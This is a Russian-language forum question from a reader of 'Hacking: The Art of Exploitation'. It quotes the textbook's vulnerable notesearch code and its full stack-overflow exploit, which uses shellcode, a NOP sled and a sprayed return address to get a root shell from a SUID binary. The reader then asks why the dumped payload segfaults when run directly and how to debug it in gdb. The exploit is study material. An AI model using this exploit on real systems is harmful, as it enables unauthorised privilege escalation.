Читаю книгу "Взлом - искусство эксплуатации". Есть пример переполнения буфера стека.
Это часть исходного кода атакуемой программы notesearch:
char searchstring[100];
// ...
if(argc > 1)
strcpy(searchstring, argv[1]); // <-- no length check
А вот и источник атакующей программы «exploit_notesearch»:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
// <-- dumping full command string here
system(command); // run exploit
free(command);
}
При запускеexploit_notesearch все работает нормально,получу рут шелл так как программа notesearch имеет права suid. Командная строка содержит имя вызываемой программы, цепочку NOP, шелл-код и обратный адрес для шелл-кода.
Я хочу отладить эксплуатируемую программу с помощью gdb, чтобы увидеть, как именно работает эксплойт. Для этого я выгрузил командную строку (прямо перед вызовом system()) в файл (назовем его dump.txt). Затем из оболочки я попытался получить тот же результат, я вызвал эксплуатируемую программу напрямую с выгруженной командной строкой в качестве аргумента.
подсказка> $(cat dump.txt)
Программа notesearch запустилась, но вместо рут шелла получил segmentation fault. Я также варьировал обратный адрес в очень широком диапазоне с помощью скрипта.
Мой вопрос, в чем разница между:
запуск notesearch через оболочку
запуск поиска через систему
Возможно, вы также знаете другой способ отладки эксплуатируемой программы через gdb.
